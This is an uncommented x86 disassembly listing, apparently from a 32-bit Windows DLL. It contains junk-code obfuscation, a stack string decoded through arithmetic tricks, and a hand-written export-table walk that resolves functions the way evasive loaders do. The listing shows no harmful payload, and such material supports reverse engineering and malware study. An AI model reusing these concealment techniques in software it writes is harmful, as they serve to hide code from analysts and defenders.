mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 1
jge 0x100451dc
mov eax, dword [ebp - 0x31c]
mov dword [ebp + eax*4 - 0x74], 0xc90a35f3
jmp 0x100451b6
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x74], 0xa
jmp 0x10045201
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x74], 0xfffffff1
jge 0x10045ae8
mov dword [ebp - 0x48], 5
mov dword [ebp - 0x344], 0xffffffff
mov dword [ebp - 0x48], 0
jmp 0x10045233
cmp dword [ebp - 0x48], 0
jg 0x100459e7
mov dword [ebp - 0x3b4], 0
mov dword [ebp - 0x198], 0x1ba13726
mov dword [ebp - 0xe0], 0x72a6dfe1
mov dword [ebp - 0xc2c], 0xfffffff8
mov dword [ebp - 0x880], 8
push dword [ebp - 0x48]
lea ecx, [ebp - 0x488]
call fcn.10009d00
cmp dword [eax], 0
jne 0x1004528e
mov dword [ebp - 0x7e0], 1
jmp 0x10045295
and dword [ebp - 0x7e0], 0
cmp dword [ebp - 0x48], 0xc64f
jne 0x100452aa
mov dword [ebp - 0x7b8], 1
jmp 0x100452b1
and dword [ebp - 0x7b8], 0
cmp dword [ebp - 0x7b8], 7
jg 0x100452c6
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0xec8], eax
mov eax, dword [ebp - 0x114]
cmp eax, dword [ebp - 0x3bc]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x74]
mov dword [ebp - 0xfa4], eax
mov eax, dword [ebp - 0xb94]
mov dword [ebp - 0xed0], eax
mov eax, 0xc6c5a511
add eax, 0x150f896
add eax, dword [ebp - 0x344]
je 0x10045a42
cmp dword [ebp - 0x114], 0
je 0x10045a42
mov dword [ebp - 0x8b0], 1
jmp 0x10045a49
and dword [ebp - 0x8b0], 0
mov eax, dword [ebp - 0x34c]
cmp eax, dword [ebp - 0x8b0]
je 0x10045a63
mov dword [ebp - 0xc5c], 1
jmp 0x10045a6a
and dword [ebp - 0xc5c], 0
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x101c], eax
mov eax, dword [ebp - 0x34c]
mov dword [ebp - 0xed8], eax
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0xfb4], eax
cmp dword [ebp - 0x114], 1
je 0x10045aa3
jmp 0x10045168
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x488]
call fcn.10009ce4
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x10f4]
call fcn.10031f41
mov dword [ebp - 0x4ac], eax
mov dword [ebp - 0x354], 0
mov dword [ebp - 0xda8], 1
mov dword [ebp - 0xda4], 1
mov dword [ebp - 0xda0], 1
mov dword [ebp - 0xd9c], 1
lea ecx, [ebp - 0x3e1]
call fcn.10009e64
push eax
lea eax, [ebp - 0xd98]
push eax
lea eax, [ebp - 0xda8]
push eax
lea ecx, [ebp - 0x10fc]
call fcn.10014809
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xca4]
call fcn.100147e3
mov byte [ebp - 4], 0x37
mov dword [ebp - 0x3d4], 0
mov dword [ebp - 0x354], 0xffffffed
jmp 0x10045b9e
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0xffffffff
jg 0x1004602e
mov dword [ebp - 0xb4], 0xa3df603f
mov dword [ebp - 0x1a8], 0x1ae
mov dword [ebp - 0x3c4], 3
mov dword [ebp - 0x928], 0x60700c0d
mov dword [ebp - 0xa64], 0x3a2cc370
mov dword [ebp - 0xa7c], 1
mov dword [ebp - 0x35c], 0
jmp 0x10045c00
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 3
jge 0x10045c1c
mov eax, dword [ebp - 0x35c]
mov dword [ebp + eax*4 - 0xc98], 0xdedfc3e8
jmp 0x10045bf3
mov dword [ebp - 0xb4], 0xfffffff5
jmp 0x10045c35
cmp dword [ebp - 0xb4], 7
jle 0x1004601e
mov dword [ebp - 0x3cc], 0x8cafa32f
mov dword [ebp - 0xa60], 1
mov dword [ebp - 0xd6c], 0x2f92e6c0
mov dword [ebp - 0xd68], 0x2f92e6c0
mov dword [ebp - 0xd64], 0x2f92e6c0
mov dword [ebp - 0xd60], 0x2f92e6c0
lea ecx, [ebp - 0x401]
call fcn.10009e64
push eax
lea eax, [ebp - 0xd5c]
push eax
lea eax, [ebp - 0xd6c]
push eax
lea ecx, [ebp - 0x1104]
call fcn.10014809
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xdcc]
call fcn.100147e3
mov byte [ebp - 4], 0x38
mov dword [ebp - 0xe6c], 1
mov dword [ebp - 0xe68], 1
mov dword [ebp - 0xe64], 1
mov dword [ebp - 0xe60], 1
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0xee8], eax
push 0
lea ecx, [ebp - 0xca4]
call fcn.10009d00
mov eax, dword [ebp - 0xb4]
cmp eax, dword [ebp - 0x3d4]
jle 0x10045d12
mov dword [ebp - 0x8c0], 1
jmp 0x10045d19
and dword [ebp - 0x8c0], 0
cmp dword [ebp - 0x8c0], 0x2d9caaf
jne 0x10045d31
mov dword [ebp - 0x8c8], 1
jmp 0x10045d38
and dword [ebp - 0x8c8], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x8c8], eax
jne 0x10045d52
cmp dword [ebp - 0x1a8], 0
je 0x10046029
jmp 0x1004602e
jmp 0x10045b91
mov byte [ebp - 0x127], 0
movzx eax, byte [ebp - 0x127]
test eax, eax
je 0x10046048
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0xca4]
call fcn.10009ce4
movzx eax, byte [0x1060e078]
test eax, eax
je 0x10046073
mov ecx, 0x1060e20c
call fcn.100472f6
movzx eax, al
test eax, eax
jne 0x10046093
lea eax, [ebp - 0x4ac]
push eax
mov ecx, 0x1060e20c
call fcn.10047305
mov ecx, dword [ebp - 0x154]
mov dword [eax], ecx
mov byte [0x1060e078], 1
cmp dword [ebp - 0x15c], 0xffffffff
jne 0x100460b6
mov eax, dword [ebp - 0x4ac]
cmp eax, dword [ebp - 0x364]
jne 0x100460b6
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x15c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10f4]
call fcn.10014750
jmp 0x10044a0e
cmp dword [ebp + 0x10], 0
jne 0x100460f9
cmp dword [ebp - 0x15c], 0xffffffff
je 0x100460f9
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x164]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x15c]
mov ax, word [ecx + eax*2]
mov word [ebp - 0xb0], ax
movzx eax, word [ebp - 0xb0]
cmp eax, 0xffff
je 0x10046509
movzx eax, word [ebp - 0xb0]
mov ecx, dword [ebp - 0xe8]
mov edx, dword [ebp - 0x164]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0xa84], eax
mov eax, dword [ebp - 0xa84]
mov ecx, dword [ebp - 0x164]
add ecx, dword [eax]
mov dword [ebp - 0xc4], ecx
mov eax, dword [ebp - 0xc4]
cmp eax, dword [ebp - 0xe8]
jbe 0x10046501
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ebp - 0xe8]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0xc4], edx
jae 0x10046501
mov eax, dword [0x1060e22c]
and eax, 2
jne 0x100461a4
mov eax, dword [0x1060e22c]
or eax, 2
mov dword [0x1060e22c], eax
mov dword [ebp - 4], 0x39
push 0xa4d
call fcn.1000d1b1
pop ecx
mov byte [0x1060e1dc], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0x140], 0
mov byte [ebp - 0x13f], 0x2e
mov byte [ebp - 0x13e], 4
mov byte [ebp - 0x13d], 0x8a
mov byte [ebp - 0x13c], 0xee
mov byte [ebp - 0x13b], 0x1f
mov byte [ebp - 0x13a], 0xc3
mov byte [ebp - 0x139], 1
mov byte [ebp - 0x138], 8
mov byte [ebp - 0x137], 2
mov byte [ebp - 0x136], 0
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x140]
and eax, 0x4a
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x140]
or ecx, 0x4a
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x140]
mov byte [ebp + eax - 0x16c], cl
mov dword [ebp - 0x44], 2
and dword [ebp - 0x36c], 0
jmp 0x10046242
mov eax, dword [ebp - 0x44]
inc eax
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xb
jae 0x100462f8
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x140]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x44], eax
jne 0x1004628c
mov eax, dword [ebp - 0x44]
movzx eax, byte [ebp + eax - 0x140]
inc eax
mov dword [ebp - 0x36c], eax
mov eax, dword [ebp - 0x44]
movzx eax, byte [ebp + eax - 0x140]
mov ecx, dword [ebp - 0x44]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x44], eax
jmp 0x1004623a
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x36c]
movzx eax, byte [ebp + eax - 0x142]
movsx eax, byte [ebp + eax - 0x16c]
mov ecx, dword [ebp - 0x44]
movzx ecx, byte [ebp + ecx - 0x13f]
and ecx, eax
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x36c]
movzx eax, byte [ebp + eax - 0x142]
movsx eax, byte [ebp + eax - 0x16c]
mov edx, dword [ebp - 0x44]
movzx edx, byte [ebp + edx - 0x13f]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x44]
movzx eax, byte [ebp + eax - 0x140]
mov byte [ebp + eax - 0x16c], dl
and dword [ebp - 0x36c], 0
jmp 0x1004623a
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x16c], 0
mov eax, dword [0x1060e22c]
and eax, 4
jne 0x10046344
mov eax, dword [0x1060e22c]
or eax, 4
mov dword [0x1060e22c], eax
mov dword [ebp - 4], 0x3a
lea eax, [ebp - 0x16c]
push eax
mov ecx, 0x1060e238
call fcn.10047154
push 0x100662b5
call fcn.1004dcf6
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x208], 0
jmp 0x1004635a
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 4
jae 0x10046373
mov eax, dword [ebp - 0x208]
mov byte [ebp + eax - 0x16c], 0
jmp 0x1004634d
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x11c], eax
movsx eax, byte [0x1060e1dc]
mov ecx, dword [ebp - 0x11c]
movsx ecx, byte [ecx]
cmp ecx, eax
je 0x100463a2
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
jmp 0x1004637f
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
push dword [ebp - 0x11c]
push dword [ebp - 0xc4]
lea ecx, [ebp - 0x1074]
call fcn.10047805
mov dword [ebp - 4], 0x3b
push 0x1060e238
lea ecx, [ebp - 0x1074]
call fcn.10047183
lea eax, [ebp - 0xef8]
push eax
lea ecx, [ebp - 0x1074]
call fcn.1001507e
push dword [eax]
lea eax, [ebp - 0xfd4]
push eax
lea ecx, [ebp - 0x1074]
call fcn.1001506a
push dword [eax]
lea ecx, [ebp - 0x1134]
call fcn.1004782e
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0x1134]
push eax
call fcn.10036b43
pop ecx
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 0
je 0x100464ad
push dword [ebp - 0x11c]
lea ecx, [ebp - 0x10b8]
call fcn.10047154
mov byte [ebp - 4], 0x3d
lea edx, [ebp - 0xa8c]
lea ecx, [ebp - 0x10b8]
call fcn.10032024
movzx eax, al
test eax, eax
je 0x1004647d
push 0
push dword [ebp - 0xa8c]
push 0
push dword [ebp - 0x3dc]
call fcn.1003e086
add esp, 0x10
mov dword [ebp - 0xc4], eax
jmp 0x1004649c
push 1
push 0
lea eax, [ebp - 0x10b8]
push eax
push dword [ebp - 0x3dc]
call fcn.1003e086
add esp, 0x10
mov dword [ebp - 0xc4], eax
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x10b8]
call fcn.10014750
jmp 0x100464e3
cmp dword [ebp + 0x10], 0
jne 0x100464c3
mov ecx, dword [ebp + 0xc]
call fcn.100144ba
mov dword [ebp - 0x4b4], eax
jmp 0x100464cd
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x4b4], eax
push dword [ebp - 0x4b4]
push dword [ebp + 8]
call fcn.1003a12a
pop ecx
pop ecx
mov dword [ebp - 0xc4], eax
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x1134]
call fcn.10014687
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1074]
call fcn.10014750
mov eax, dword [ebp - 0xc4]
jmp 0x1004650b
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret